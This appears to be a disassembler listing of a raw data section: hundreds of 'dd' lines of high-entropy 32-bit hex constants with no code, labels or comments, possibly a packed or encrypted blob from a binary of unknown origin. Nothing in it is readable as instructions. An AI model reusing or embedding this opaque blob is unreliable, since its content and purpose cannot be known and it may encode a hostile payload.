		dd 0E9E6008Ah, 0BD452E6Dh, 0AC00B5FAh, 91DA5B7Bh, 5F3B38Fh
		dd 718E5DA2h, 7AB400B4h, 649FAC3Ch, 0A046CD00h,	5F5B31C3h
		dd 0DD040005h, 0D67DB575h, 0F90093C0h, 0B2CE8B3Ah, 7433381h
		dd 38C5ED7Ah, 48E1925Ah, 12170C58h, 0D309E8D4h,	0F650016h
		dd 444E6Bh, 0D908C332h,	0AA95FE83h, 683CB51Eh, 21C6AF00h
		dd 60D577h, 25417E91h, 0EB88B444h, 0AFDFC304h, 5C8130ADh
		dd 7CCC92ACh, 29DECE0h,	8226CD21h, 38C0F780h, 6119C6B8h
		dd 0D9890451h, 0DC396C40h, 0BF4A38CBh, 55EEBC04h, 2628A0E2h
		dd 0A79F4B07h, 0E63E1E98h, 71806D2h, 493C0209h,	816E306Dh
		dd 0AB1287CFh, 3406A5BAh, 7229D4A4h, 70E85C03h,	0ADA2117Eh
		dd 0BED800D6h, 2B1812AAh, 9824006Eh, 2D77857Dh,	0D507F482h
		dd 1D3A0A34h, 611B37E1h, 0D21A8F3h, 8CCE3F39h, 62E7A380h
		dd 7AAE0905h, 55742A00h, 0B1F7527Bh, 0B8B77529h, 53450E2Bh
		dd 0F9800C58h, 0A94B2427h, 0F10F0AE6h, 346A97h,	842D1496h
		dd 0EDC4048Dh, 80C8321Eh, 0E51729E0h, 71E19001h, 0A7544E16h
		dd 1072160h, 0B8B1B2A6h, 2036F449h, 0F1007619h,	3394A1D2h
		dd 0EE5865h, 12242E83h,	7EBAE5D5h, 99149000h, 0FB394554h
		dd 1AB51FB1h, 55CC73Eh,	61E9E0A1h, 0DF2C9472h, 37005B31h
		dd 7DB4269Ch, 0BB880001h, 234C8EB3h, 457E9F69h,	15E5A201h
		dd 8CA4E732h, 0EE02FFCCh, 1D9E7CA5h, 808B1BD0h,	3A410BAAh
		dd 6C008230h, 8AEB069Fh, 51BDE2h, 0B1D2EA5Eh, 3B6920B4h
		dd 0F9A3A58h, 60A337CDh, 6BFA036Ch, 0DFE03ECh, 0B37DEE7Ah
		dd 979F63C0h, 484CDD0Ch, 0E268Bh, 8DDF2110h, 2D58E3CDh
		dd 0C1CE0200h, 0A2A006B3h, 0B5E500F6h, 0DA41ACC2h, 990CA88Eh
		dd 18F75174h, 7C4000FEh, 1A804F7Fh, 6A1D47EFh, 0C0000330h
		dd 96ED7E5h, 935F0F9Ah,	14A01DB5h, 2C285495h, 0F5C11C00h
		dd 0B2DC9D26h, 0ECDB7CA9h, 619600BFh, 0FBA54844h, 40002C3Fh
		dd 0C7520218h, 0D4A84h,	54319947h, 177AFE6Bh, 2D57F703h
		dd 0D8F2ACFBh, 98B14727h, 10A9037Dh, 4E6CC861h,	26A46B80h
		dd 21DFA700h, 92E0AE96h, 105B806h, 414371AAh, 0E04A3FF4h
		dd 6A3F5FE3h, 8A29AE31h, 0A3281800h, 0DE3D45h, 0B30FABC6h
		dd 0E09D91DDh, 2939F403h, 80FC6119h, 0B242D4D5h, 15ED09A0h
		dd 94002625h, 51375C66h, 1A685505h, 56862411h, 9DE73A29h
		dd 0AAB45600h, 0D326F109h, 2A36CC00h, 0FCF9C740h, 0AE2C1FE9h
		dd 92C0C00Eh, 73727BC9h, 3970E47Dh, 0D754EC00h,	0D06B1DCEh
		dd 5AF10092h, 435E2BAFh, 420F263Ah, 724D7335h, 60475C0Eh
		dd 0CF5B36ECh, 0E1800EAh, 9871726Eh, 0B70085EDh, 0D9694E0Fh
		dd 0EF88DFh, 813566D6h,	0D9E0564h, 0BE13F094h, 759D3E00h
		dd 0D07D6Ah, 2531AF54h,	74E0E11Eh, 8F52F801h, 44948AB2h
		dd 0AE4B8E1h, 7E5E00DEh, 751A025Ch, 0CB01933Dh,	0B2AFA723h
		dd 5C618ADBh, 0AFD6DD1h, 22B1E985h, 8EA50077h, 0AF68D081h
		dd 0D6089500h, 55CFF4DDh, 0E1F15F24h, 0FC8431BCh, 91009DEDh
		dd 0D26A945Ah, 7197D5h,	0FE196F56h, 0B208322Eh,	57E8E8D6h
		dd 0ACF84900h, 0F1A2AA60h, 8EC83C54h, 0CFBCE700h, 5C9032B6h
		dd 227F00DBh, 0DDA72E18h, 1A00BFFCh, 58E97EAAh,	16C3FD15h
		dd 0C0629FA2h, 1359258h, 7CE07000h, 0C3B3EFC7h,	0EC2F4CA1h
		dd 0FC98C804h, 24DCD055h
		dd 0D40033C4h, 0CAA91452h, 0EEB10C6Bh, 0A4080083h, 96778055h
		dd 0F7005B5Ah, 0ED72639Dh, 747164C6h, 8B6A0087h, 8F76D4EFh
		dd 783DBAE9h, 0E7D80486h, 0E0A4FAA5h, 28EF00E2h, 93AA742Eh
		dd 771F4598h, 612D9ADh,	0D1AB9490h, 1E434C63h, 30452D0Eh
		dd 1D4DF983h, 60482078h, 0D11600B7h, 6475BC62h,	0A3761F90h
		dd 0FDA08719h, 5449832Bh, 833C55B0h, 0E0D74200h, 0E45933C8h
		dd 234FA27h, 6A45AA64h,	0AAC0626Eh, 5B00A88Fh, 8C760DA6h
		dd 1DDDFACh, 0AA442C24h, 2D45B8A5h, 0F47B245Ch,	0ADEFD801h
		dd 6FF529E4h, 3C4FA3D7h, 5093098h, 1064A33Bh, 5C20E543h
		dd 94E954F8h, 14A478h, 8CB9C4E5h, 0AFD29DEh, 0ACF052DAh
		dd 0EC9307E3h, 6529EC77h, 0C9031F00h, 0DB9147B3h, 114A003Ch
		dd 6AAF1A0Eh, 0EC3B50F1h, 936480A8h, 431C2AC3h,	954D03E5h
		dd 802CF3A5h, 446E4809h, 3130102Bh, 611A6FB0h, 0DCF39300h
		dd 550C3DC1h, 19254A6Eh, 9EA400FCh, 0A533850Bh,	2675C3D8h
		dd 0D6FB5D0Fh, 6A5A2036h, 0F3FFFE0h, 86AC52EFh,	32E77DEEh
		dd 1AE61354h, 4D0D4907h, 0A595B0Ch, 4E0F2D06h, 0CF6CC0F4h
		dd 3BE0275Ah, 9160799Dh, 4DEBE523h, 133E3300h, 4F4B7719h
		dd 0AA5204C9h, 0C344FF62h, 47C36EF7h, 0A90C6115h, 2DB303B8h
		dd 0CFBA8E4Dh, 0DD4EBB70h, 1DE6005Bh, 0F843B696h, 17262B58h
		dd 0D0A62434h, 0AEA9CB06h, 1392F841h, 7BE1D8Eh,	20B7F7E2h
		dd 6133EB4Eh, 70CE3D37h, 2EA6A932h, 0D079E82h, 5E00745Ah
		dd 99B3154Bh, 881AE511h, 8A07A5FEh, 0E0917180h,	359BE311h
		dd 1D9B0D8h, 0AA4F1C6Dh, 27A278h, 0E90F3F7h, 0FAEA30E6h
		dd 0A7E01420h, 86FA6633h, 84CE3B26h, 65E9E400h,	0AEC99Ah
		dd 0A47158CFh, 0F53FF636h, 79B4100h, 0EF399457h, 95D63A21h
		dd 0CA810B80h, 38A11831h, 7A07F300h, 69090D97h,	4230CB5Bh
		dd 1F331900h, 0D0F92AAFh, 2700E008h, 0C95C406h,	0A09F2Dh
		dd 0A4D607F2h, 3DFD93F6h, 87079BEAh, 4A4D460Dh,	4E2C3380h
		dd 6B50E08h, 0B10BCCFDh, 13C0308Eh, 0B75BB8BEh,	0FCA00500h
		dd 937803DAh, 7530292h,	3D401D50h, 385ACCC0h, 0AF12216h
		dd 4CCAD00h, 810DD1h, 0A224EEBDh, 1C2B46AAh, 682A4901h
		dd 57335519h, 45EA7FDh,	85142F28h, 0D886F704h, 0A01012C2h
		dd 0D9E3FDh, 0E028F89Fh, 0ABC02EA6h, 5EF62500h,	6432D7D8h
		dd 0AD4219BDh, 8F429EDh, 328441Eh, 440C3344h, 228460D7h
		dd 30F82ADBh, 89F0F488h, 44C3086Ch, 28A08B1Ch, 3889D62Fh
		dd 1F448F08h, 0A53144C7h, 8444DF44h, 0F77B0D10h, 210EB321h
		dd 0B01130DEh, 6CAF19E2h, 0A7084F29h, 7C51DB65h, 6E051404h
		dd 1B427B48h, 218824DCh, 77126DB2h, 0CF864910h,	1111D479h
		dd 23116721h, 89667432h, 51C029h, 2D1BF309h, 39B79C31h
		dd 0F081D900h, 13D82494h, 7FBD03A4h, 3F736759h,	0A7C0E3C8h
		dd 0A3723900h, 5F822031h, 10B30084h, 451ACC6h, 0E000F67Ch
		dd 95E9FF81h, 1D9D19EBh, 0C530E1B0h, 9636B8h, 0DA5978C3h
		dd 5F3E2DBEh, 9D4B1F5Bh, 0BB7E7280h, 0F847F4B0h, 5C0A031Dh
		dd 21CFB583h, 0E8F2F388h, 0F60077F0h, 0A307D0C2h, 2A98AE6h
		dd 6755B29Dh, 38C0AA86h, 0BE0052F3h, 0A5E3D37Ch, 0C3A3D7h
		dd 37AF350Dh, 1912F9D4h, 99390909h, 0A35C2025h,	7AB8DCEFh
		dd 353C00E4h, 0D7F7DFC0h, 1B16555Dh, 1A07CE10h,	0B4C03882h
		dd 38267ACFh, 6F80EEC0h, 93B56096h, 48005686h, 3A0CA7E4h
		dd 0E803D2h, 0E6D8FCE9h, 6E088935h, 2C0E4300h, 51261D2Ah
		dd 0CD7BDBh, 685CAA39h,	566C177Fh, 0C700E89Ah, 5DC97EF8h
		dd 14325823h, 0D573187Ah, 0BAA79A18h, 4E00FFADh, 0B5D212BAh
		dd 0FAEDE07h, 0B2DB2973h, 0A7E3DE0h, 0A000DD48h, 0C2762002h
		dd 90C3B007h, 4E600606h, 10B498B2h, 3DA5FD03h, 16ADF5h
		dd 0DD0AEEB0h, 0B36C1D0Eh, 9131C0A0h, 0C533BA00h, 0F510BDA0h
		dd 5950025h, 589B73ACh,	3A00B739h, 4F9455AEh, 503429DDh
		dd 54A075h, 5E853887h, 586105B1h, 70608100h, 37989715h
		dd 10F09719h, 0A9D8EE00h, 3BF1D78Ch, 9E8600A5h,	0FF2B1748h
		dd 943BDC6Ah, 1E128F44h, 8AE3C014h, 899B51h, 50799A5Fh
		dd 613BBD92h, 0EB32A101h, 0C04FE0B6h, 78F05C61h, 80530E77h
		dd 9640FCCFh, 0B98BC812h, 64A65800h, 326ACA88h,	26E40BB3h
		dd 0CA808A8Dh, 0B9387CA2h, 840003F4h, 0CA57B012h, 9062FA15h
		dd 8D180039h, 0BBEF8BF6h, 4409B8E1h, 138121h, 0B7382CE2h
		dd 0F1AC0009h, 0A99E7505h, 8501123Eh, 0FD94FA16h, 5DD89796h
		dd 0CB111EBFh, 3F5BC014h, 359E4E89h, 17662B03h,	889DCF29h
		dd 0B8EA7E80h, 1F7E874h, 664D9E3Ch, 0C84A0BCEh,	722C3AABh
		dd 0D300F612h, 90600AA0h, 0B099017Eh, 82EA43E0h, 0E48C2080h
		dd 75239200h, 349DB7D3h, 99690094h, 9320F655h, 243FC0D1h
		dd 4EA98814h, 0F93833h,	0D0C79077h, 42CF2EABh, 0A9ADC20Fh
		dd 0A29683ECh, 46A1D088h, 28410743h, 1F128905h,	3053A3C7h
		dd 0B4631150h, 1FD14600h, 786808F1h, 167112EBh,	12C1C7Eh
		dd 70F4A882h, 91D1EC9Bh, 0DAB7280Eh, 0A159EE88h, 0B1DE22EBh
		dd 0B79CCh, 1AC92D3Eh, 339E9D3Ah, 0A86A8424h, 0A131FE60h
		dd 73F3005Eh, 5703E302h, 0B9099B93h, 77880880h,	63D4C680h
		dd 23744086h, 9C145906h, 4CA7EEh, 94A6A48Ch, 5DC43431h
		dd 0E70D51Eh, 20BF8580h, 4D62D51h, 7CD2FFB1h, 0E7989061h
		dd 300B42Fh, 37D8EBFEh,	3E409AB7h, 8D9352E6h, 9D8401D6h
		dd 0F4193E14h, 8A005AADh, 7837A276h, 7295BD8Bh,	92340009h
		dd 0B9E9D245h, 1F001B9Dh, 0CA8F6F4Eh, 0C1874h, 789623B7h
		dd 4BB090EFh, 581C8800h, 5541268Dh, 20C109A4h, 0C8A02D50h
		dd 9034658Ch, 0B9998E01h, 1BFE2919h, 0C0C4DF4h,	0A7B3E0E2h
		dd 1607DBF2h, 0E65D6CC0h, 0FA81C04Fh, 5E1B7Eh, 2B43183h
		dd 1EEC3A34h, 69A6AA03h, 6C1473Fh, 248E04CAh, 300046E9h
		dd 0D0CA49D3h, 5D9577Dh, 0B2916678h, 638448h, 779DEA4h
		dd 0B7009ED3h, 19C62145h, 0D18312h, 273F6380h, 0CF267094h
		dd 9BA4B10Bh, 49202396h, 0CCC094F5h, 0DAFB20h, 1FBEDB5Dh
		dd 4F4CC57Fh, 15002373h, 0DCF99553h, 49721019h,	963B0874h
		dd 76FEB780h, 664ED1F5h, 0E7CA3300h, 0E9DC3FF9h, 0FC2B07C7h
		dd 0DF930170h, 0F6F16380h, 0B2075FD7h, 83EC04DBh, 4F54F000h
		dd 0EF66002Dh, 51DA5BD0h, 0F27BF768h, 5926A200h, 3719C00Bh
		dd 46080901h, 0C020ACF6h, 985569F5h, 35092300h,	361A197Fh
		dd 0CFE8D6h, 945EFF8Dh,	31C63A47h, 2F106B00h, 83BB2D18h
		dd 0F96400C1h, 85F6EE29h, 960081AEh, 62820DD2h,	573204h
		dd 59C2AD87h, 0ED03749Fh, 5CE59600h, 55F5E481h,	7CC5014Ch
		dd 3EA5C2D5h, 0F169E07Eh, 5BEEF00h, 3012F5E2h, 68E3056Bh
		dd 0C0638D88h, 0A718043Bh, 968E1A00h, 0D37EFE50h, 9AE50080h
		dd 68137062h, 870ED0F4h, 2FF283B5h, 4EEA2033h, 3CE7475Eh
		dd 280EB794h, 5BA0DA4Ch, 1D3ABB8Bh, 2CDC38h, 3E5506B8h
		dd 4894E0B2h, 0B4006064h, 53C1BC8h, 0B807788Ah,	6E06F817h
		dd 741D7C00h, 777C62h, 0E6962758h, 0A63F1AF5h, 9E704100h
		dd 51FF134Eh, 7B3874CFh, 732C00C1h, 7F438853h, 0CE0083FDh
		dd 0ECDB3959h, 29A8D1h,	0E9A5A73Eh, 0E40F4E9Ah,	0AC843101h
		dd 668F7352h, 63FFD0h, 2F687D99h, 0A169559Dh, 7C7F5D1Fh
		dd 0CF69843h, 5901FF23h
		dd 71F494DBh, 0F4F07EC2h, 2191DAEh, 0AA420043h,	0C6E2298Eh
		dd 3EF52C3Fh, 9B7B00D7h, 66692D11h, 81521D19h, 5D0B095Eh
		dd 3C01FC0Bh, 30A1824Bh, 0BC07B32Ch, 28123F40h,	9BFFAB60h
		dd 0EBBA00F3h, 1A01250Dh, 0C013B45Fh, 78006D23h, 20D9A4C1h
		dd 0C7B80075h, 0DA77FA87h, 2400307Eh, 9F4E3A0Fh, 583DABA7h
		dd 0F44C53B1h, 76590600h, 648A96D3h, 296E5C00h,	0D2C41E92h
		dd 631A009Dh, 0D02D4440h, 90007F34h, 0FE15A1DFh, 7C060Eh
		dd 19C75D4Bh, 7BE06C63h, 2FA72E00h, 29D7B3EDh, 0D0054D3Dh
		dd 0CDAC9300h, 5BF67602h, 6623C512h, 56050000h,	2796568h
		dd 6F2AAD7h, 97817A2Ch,	60898CA5h, 1100D837h, 604587EBh
		dd 59776FCh, 6FC070A7h,	8004842Ah, 15984B5Fh, 0A5350E0Ch
		dd 0F27249h, 0E69BD5FDh, 50DDF46Eh, 74EC10C7h, 0D407BF05h
		dd 0EB70369Fh, 37B565h,	0D7BBD20Ch, 52F9D686h, 0D10D1601h
		dd 4E540334h, 41CF6C8h,	7CF315FEh, 7474D0A0h, 160F953Ch
		dd 0A0E4219Ch, 120050Dh, 0B014001Dh, 65D4151h, 42000F62h
		dd 254D914Ch, 24FFB6BEh, 0EED464h, 0AAE73F09h, 23263630h
		dd 74248DF7h, 0F84CD00h, 2C4BDFEFh, 1B4AC2Ah, 2731179Eh
		dd 2E47324h, 65C4C74Fh,	2FBC48CAh, 120BE6E3h, 363495Ch
		dd 306A61ACh, 1E3106A8h, 3EAC4200h, 0BB010ABCh,	6EE300FCh
		dd 59AEC01Ah, 9890B5A3h, 4713F6FCh, 84053C4Ch, 0E080909Ch
		dd 0C1CD81h, 0CA7A1C8Bh, 0AA1870FBh, 57046300h,	0F92B91ACh
		dd 37390135h, 8EBDADDh,	0F13030F0h, 97AE641Fh, 83725740h
		dd 3CC874AFh, 1B806162h, 8F4F9135h, 5004D5B8h, 5DF12363h
		dd 0D05390C0h, 27E0E5h,	0DAB53154h, 7D32C155h, 83037100h
		dd 6A5BD756h, 69490044h, 0A164FD10h, 0B2072216h, 2C358641h
		dd 3A800B9h, 0E26BE9C3h, 0B787005Bh, 0E6B19684h, 0E31CD761h
		dd 0CF64F30Ch, 3A416607h, 7ACADB80h, 495200B1h,	5DB6B262h
		dd 1FE022C3h, 0D71BEF04h, 0A88121D3h, 0A9E474D6h, 0AA0D013Ch
		dd 0CF873C5h, 1C09DCF4h, 0FC2A7C01h, 3CEC72C3h,	1FABB1F7h
		dd 395EECh, 7086A766h, 0B05B08D0h, 1D5C3303h, 0F04F602Bh
		dd 3F7F48BFh, 7138470Fh, 0C084359Eh, 0D4CEBAE5h, 0D800DF7Bh
		dd 0BDAD02C2h, 5C5C6B18h, 0E628005Ah, 0B6612C98h, 497D0070h
		dd 0FCC20FBEh, 80FEB03Ah, 0DD65D2E6h, 39725A97h, 0F6B9F3B8h
		dd 7844748Eh, 5F5C5E40h, 0D400F1C4h, 0B606E01Ch, 753E5Bh
		dd 7B0C6EBEh, 9BD7FF60h, 67696801h, 6F4537FBh, 7BEC50E4h
		dd 6D89006Ch, 0E590E3DEh, 0E81CA570h, 1C40AF8Dh, 0EE395F7Dh
		dd 0EB30171Fh, 0F75B01E6h, 0EC5270BCh, 0A7036DACh, 0DB85446Fh
		dd 0A30FFFB7h, 0E12C0323h, 0B820E55Ch, 0CD24079Ch, 0EF080CF0h
		dd 0B8E116AEh, 706F3C36h, 0EA0229E7h, 0AA079A3Eh, 5216E0A3h
		dd 0A7FD04D6h, 0E0E6330Dh, 56017F50h, 3F889E5Bh, 0B820DC98h
		dd 76390055h, 8ECFC27Eh, 0E0767233h, 6C52E00h, 9C6EB2Bh
		dd 62F42C9Bh, 9A930087h, 0D3E0D905h, 92881C00h,	0B2B3362Fh
		dd 433B00B9h, 66179523h, 3A057567h, 0FBCC06C7h,	41324582h
		dd 0EE0351Ch, 761618ACh, 9F6C80D7h, 9E84C200h, 0CB1F89B8h
		dd 0B1460514h, 80ABB793h, 863CEAC4h, 0A9CAF418h, 249A6C10h
		dd 1E554C70h, 0D3286Dh,	76D581E1h, 0B8F68DE4h, 8B076C74h
		dd 7AFA7D1Eh, 594D53E0h, 8E2C0119h, 0CDD306F6h,	45F2D4FDh
		dd 63E1EE02h, 70528737h, 1C010080h, 0A6D2462Ch,	400501Ah
		dd 0F54C3A55h, 4BBD6EFCh, 0C0001C7Ch, 0F8E8C7E7h, 0F40569B4h
		dd 4DD64240h, 0B9813090h, 0E27B5Eh, 436E778h, 754F64FBh
		dd 300C6976h, 7011C223h, 33617633h, 5C38EEDEh, 2B3596E8h
		dd 0B5786703h, 0DD7640CFh, 0E8DF9380h, 0BE930072h, 8A3B241Ah
		dd 0E4E04B83h, 2612A738h, 8824A57Bh, 875AEC00h,	7B94FE4Fh
		dd 0FDCA006Ah, 6DDDBEAh, 4E0C7958h, 60748BDEh, 0C3F10011h
		dd 0EE92DF0h, 1E0EA31Bh, 20BAE0FBh, 78CB611Ah, 0AA821FD9h
		dd 0C31242FFh, 33E00A54h, 0A801DE4Fh, 7D6F7BEAh, 4880F0E3h
		dd 0B99E1E1Ch, 1D26805Ah, 86027E93h, 60A5EE36h,	73A1D0h
		dd 72A34312h, 0DB80F540h, 0D3399113h, 4072900h,	1D0A79CBh
		dd 4046C5CEh, 40B9E632h, 2500E71Fh, 0DF72B2C9h,	766CB1h
		dd 0F9C106D4h, 0E2E68F86h, 43B0770Fh, 0D802E015h, 242AE1A6h
		dd 91CC232h, 6823F1E0h,	0C1CFBF84h, 200CBDD7h, 0FD07D055h
		dd 963D3EE4h, 0B39228E1h, 1EF0DCh, 73534021h, 15622A78h
		dd 0C7A4A6C7h, 13F3A120h, 8A5A007Ch, 8C6E9F71h,	8000F641h
		dd 0B29EEAEEh, 50B98750h, 1AA694h, 15BF10B7h, 9AA947CAh
		dd 0A3119300h, 0F171C255h, 634C0730h, 0C0DCEEF5h, 0FD1ABC97h
		dd 0D8003A78h, 74B69931h, 80FA16h, 0C3797F4Ah, 0A244706Eh
		dd 54539100h, 0B3739529h, 0AAAB01DAh, 0BF5E6411h, 0F7E9E4D2h
		dd 0E9070C3h, 0AA3D98A6h, 38A1C4Fh, 92414768h, 45E07F7Fh
		dd 5D57F68Fh, 64A6C50Fh, 0A9774272h, 441CE074h,	0BC6B00F3h
		dd 0A4FCE678h, 8A00C0BBh, 3AB65C62h, 7B56FFB3h,	0EE196027h
		dd 0E20D200Eh, 8A2AEA00h, 99B41AD8h, 50A200B9h,	0C15AAF0Fh
		dd 9D03DF14h, 0E5245EF6h, 0F251D02Ah, 0E6E9032Eh, 2BB0D0Ah
		dd 0F620AB88h, 50A45407h, 0B2E68DE7h, 5E9C1138h, 0C66C0B4Ah
		dd 0FB10802Fh, 0C02DAFCBh, 0A27C4519h, 0FF008A08h, 0FDC2C4D1h
		dd 548529h, 5B538E40h, 26A90B75h, 33D0CA0Eh, 18EFE086h
		dd 1FF87F1Dh, 9328E104h, 0C0F8C0D4h, 58FE7293h,	0F9189EF4h
		dd 2769F751h, 4BE013B6h, 0B71F03A4h, 3C8F4D9h, 47002182h
		dd 6B0A2AA0h, 364560Eh,	136F0752h, 77A1B370h, 0B099C8C1h
		dd 0F47AF20Ch, 3F365016h, 818019CBh, 32B7DA78h,	0B30E2C99h
		dd 0A0E784DFh, 0CA37D897h, 7F16001Dh, 0ED6D4966h, 80486955h
		dd 653200D5h, 186C7D1Fh, 0F19D018Eh, 0E4D801AEh, 0AC7930E2h
		dd 0DC38FFh, 5F8F73EAh,	9754F9h, 26255329h, 1430C3F8h
		dd 8522181Ch, 0E7B4807Eh, 8E5F2963h, 37B7C6Ah, 1B57339Fh
		dd 71C88F6Ch, 9A00E769h, 8C257E5Bh, 1C1AEEAEh, 0BFB56358h
		dd 7CC55580h, 4346CB4Eh, 808AF43Eh, 0EF3AE176h,	1E4C4D57h
		dd 0CB2827E9h, 0E0808CC5h, 0DA1F0153h, 1B1E3509h, 0A3D40051h
		dd 4DBEF404h, 94009C22h, 30D27DF8h, 0F54DA4CAh,	1E5300CCh
		dd 22F2D1C9h, 1C4FE56h,	9D18B80Ah, 708868A6h, 5F0011A4h
		dd 612AB9F5h, 148913Fh,	0E9D977EFh, 30BB043Eh, 4D3B998Ch
		dd 0DFAD24C1h, 50A8D600h, 0AB8CFCh, 0ECBD03Ch, 88745A8Dh
		dd 100099FEh, 5D30982Dh, 56FEB6h, 0A8EC091Fh, 0DB6A2261h
		dd 3900A97Ch, 2EBFB905h, 0E8AA7224h, 0B0450002h, 0E5A75C6Ah
		dd 9600D14Dh, 7A6E6DAh,	2B3AAFh, 778279F7h, 2269B9F6h
		dd 5797B100h, 1C376DFh,	569F00A7h, 0EBA6C0C7h, 6F3818ACh
		dd 77BE80D9h, 88E4FAF3h, 0A810606Eh, 42A1CB14h,	812A0B3Ch
		dd 362E2D2Ch, 4C780D83h, 0D40B6E48h, 58014026h,	0DC4676D0h
		dd 0D200CD1Dh, 0BDA565C5h, 6FCA8Ah, 2115F22Ah, 6BDE917Ah
		dd 75E9EF00h, 0BB9BA4F6h, 65FD0120h, 3B5919FAh,	0A198D3E8h
		dd 0B0B00A7Fh, 93B63800h, 103A9041h, 7C72651h, 691700F8h
		dd 0A88B4A7Ch, 90736A00h, 66CAC474h, 3FD60040h,	433078F5h
		dd 0E800D531h, 0B9D78996h, 585BE923h, 0FD50FC2Dh, 0E872478h
		dd 0C4F18404h, 3D21C0A0h, 66734DCDh, 80087B3Fh,	6216DFF5h
		dd 250A8E61h, 4C05D56h
		dd 7BEE4AA1h, 0D69DB900h, 6DE63D50h, 5FF4B0h, 90F420CAh
		dd 4C8976ABh, 7A78F20Eh, 0A1508037h, 0A1D71463h, 0FCFC62B8h
		dd 305090D6h, 94B1EBE8h, 9001E17Fh, 885A993Eh, 0D8FADBA1h
		dd 0BBCE0138h, 196D5FB7h, 0F80BF59Eh, 8B1F68E8h, 1B80FF37h
		dd 0EECA67FEh, 0E57E2E93h, 0CD210E9Ch, 3EDCEF41h, 4A41C0C6h
		dd 0FA2E3800h, 4DDD839Dh, 64BA001Fh, 4252958Eh,	0C700FCC6h
		dd 0F870C187h, 9D4B7Bh,	14A4AF51h, 693B0358h, 0C0134100h
		dd 7466BD0Fh, 8353008Ch, 0A02531E0h, 0B6134D81h, 18C02144h
		dd 7824Eh, 36141A91h, 2FCC0C90h, 0E623A200h, 0D9F544D2h
		dd 63172471h, 90870FDCh, 4C90092h, 0FE1CE7DEh, 0B01F8800h
		dd 0B72C4382h, 0AF160FE4h, 28670C60h, 12DA90E7h, 2A0FEE7Dh
		dd 0E096D9D0h, 0F65997FAh, 0F3C80792h, 6C1E7FE6h, 2B900E60h
		dd 65079E00h, 6A109F13h, 9D930BF1h, 4E03F670h, 94E8D76Ch
		dd 8726F866h, 890032C9h, 9B3E0BEBh, 597F00A6h, 0A16D8F84h
		dd 99173583h, 1C022D93h, 0E07AB0FEh, 0EAF010C8h, 128B00D7h
		dd 8C71CD7Ch, 0E055630h, 981AF6D4h, 23C070C4h, 47D32Fh
		dd 5779CAA4h, 9F6AF146h, 0F83DA901h, 0B73433CCh, 4953ECh
		dd 45B42D15h, 822432C4h, 0FD055F2Ch, 8040170Bh,	55479FC4h
		dd 4273004Bh, 703A013h,	0E10082CFh, 7598ECDEh, 7C2D9D17h
		dd 0F6300053h, 0AC465F16h, 0E9A0797Eh, 9D000A1Dh, 1A3D2365h
		dd 12A78AF3h, 0D3509Bh,	0A15BD850h, 45009482h, 0AEC1D030h
		dd 1E780A7Ch, 0C05D8B71h, 0BBDD221h, 9D0070E6h,	9BB18969h
		dd 0F7982Bh, 4CEDC7F9h,	0DA2A3A88h, 89237E11h, 323D5102h
		dd 0D070EA8Eh, 0A373Dh,	0D66F6145h, 644EBBh, 0B04B6817h
		dd 0A6D2C632h, 0ED7EAE17h, 0F5C23043h, 0A7DC072h, 0A9EF07BCh
		dd 515BD2h, 9118F2A2h, 74AF5A05h, 4483AA5Ch, 6B7C884Ch
		dd 342100F3h, 453906B8h, 491E7B4Ah, 5540EF7Ah, 5932C3DCh
		dd 8AAD0237h, 0A43AEA94h, 0B00448C0h, 1FD18800h, 0A177A0DDh
		dd 0BF4A03h, 0DEACDAC8h, 4E07A9E4h, 4080B6F2h, 0EDBD4141h
		dd 2666D120h, 138CAEE5h, 6700FF69h, 0DC9FFADBh,	0E7BE4C72h
		dd 48C6EA0Bh, 4BAE9821h, 766C0B9h, 0A57CDB18h, 0DAED80h
		dd 0FBD6A250h, 9C9F3D6Dh, 0AD163000h, 0E53F0E1Eh, 0D0CF0029h
		dd 0DF2A5D94h, 0C8003D63h, 0C9063266h, 268A844Ch, 99E2560h
		dd 1607A93Eh, 0B880F92Ch, 0BB75EA9Ah, 98628E27h, 25AB8B48h
		dd 18849F58h, 2894C2B3h, 9C88A8h, 0D3B0DFE6h, 44161DACh
		dd 0A09D722Dh, 38CCCh, 1516E5E1h, 68BE59E7h, 891B4500h
		dd 17D582F8h, 0E40F0061h, 311069FCh, 0E4F909B5h, 0C9235BCh
		dd 845D020Ah, 0ED00A0BAh, 0DA196715h, 0F90607F6h, 0A6C8E79Dh
		dd 0A70CC837h, 0DC36AB20h, 39AC1CB2h, 0FF784099h, 26FB0245h
		dd 0B6016200h, 8AA46A7Eh, 94C12CA1h, 0DAD0304h,	19D81295h
		dd 7939AEC7h, 6B399BF2h, 0A9F08059h, 805C0DD1h,	3CE1520Ah
		dd 3310238h, 0A3852CEDh, 9CF3EB28h, 1E54DC13h, 25323403h
		dd 0B8FF793Eh, 3D4E18B2h, 0FCE9A7h, 0F7F6E75h, 0A55620D5h
		dd 97572E00h, 5D7929D2h, 233F0611h, 80F1DE24h, 1ECCB81Dh
		dd 78A2B1D2h, 59F8BD00h, 0AD5D3166h, 653FE10Eh,	0D9646538h
		dd 82348820h, 949780FFh, 1237EE00h, 8D9FF3F9h, 70F0AEFh
		dd 3DF3CD29h, 1AA716h, 6AE3979Fh, 0D000FF83h, 8525346Ch
		dd 184552BFh, 28F1C3A9h, 0E03E69B8h, 8BCF8009h,	0B33A17ACh
		dd 9A804834h, 2AC2FE00h, 0BC54287Ah, 3C82258h, 369B1B30h
		dd 0D0D3C8B2h, 271400B6h, 39044F25h, 0C0A82287h, 24F976A5h
		dd 2500EA08h, 6AF656CFh, 6478DCh, 19DF538Dh, 60AC75F5h
		dd 908076B0h, 8B076CE5h, 4F53E1D0h, 8276D40h, 0A96805FDh
		dd 0C0915E8Eh, 0BC0EADB4h, 0E5268F0Fh, 0CA6D602Bh, 766492h
		dd 1DBF4F6h, 655963F2h,	95E48498h, 4CF2289Ah, 0C4329303h
		dd 885E3DA2h, 7FBE0h, 4D143BF4h, 6CA1B178h, 6DCFB400h
		dd 0FEAA7ECDh, 330F1DDCh, 498783E7h, 0D9886B58h, 3913D0BCh
		dd 230FE3D6h, 806C0C7Dh, 2CE6FA40h, 234301Bh, 0C9D7097Bh
		dd 32B26054h, 0B138C0EAh, 0BB350411h, 4733B642h, 2070260Dh
		dd 0FBAE1Bh, 25EBCC57h,	17BCC71Ah, 0F86C0200h, 4A0BD168h
		dd 124206C9h, 7EFED4DEh, 1BAD1A07h, 0A8401310h,	2069C5h
		dd 0F93ECF8h, 85E0B17Eh, 4E17D5ECh, 16C746h, 9940CC5Fh
		dd 58624445h, 9A30064h,	87F3EA89h, 5F027357h, 3471623h
		dd 0D0B163A6h, 0BD56E1h, 299B8F50h, 39F852A8h, 0B2DFFF00h
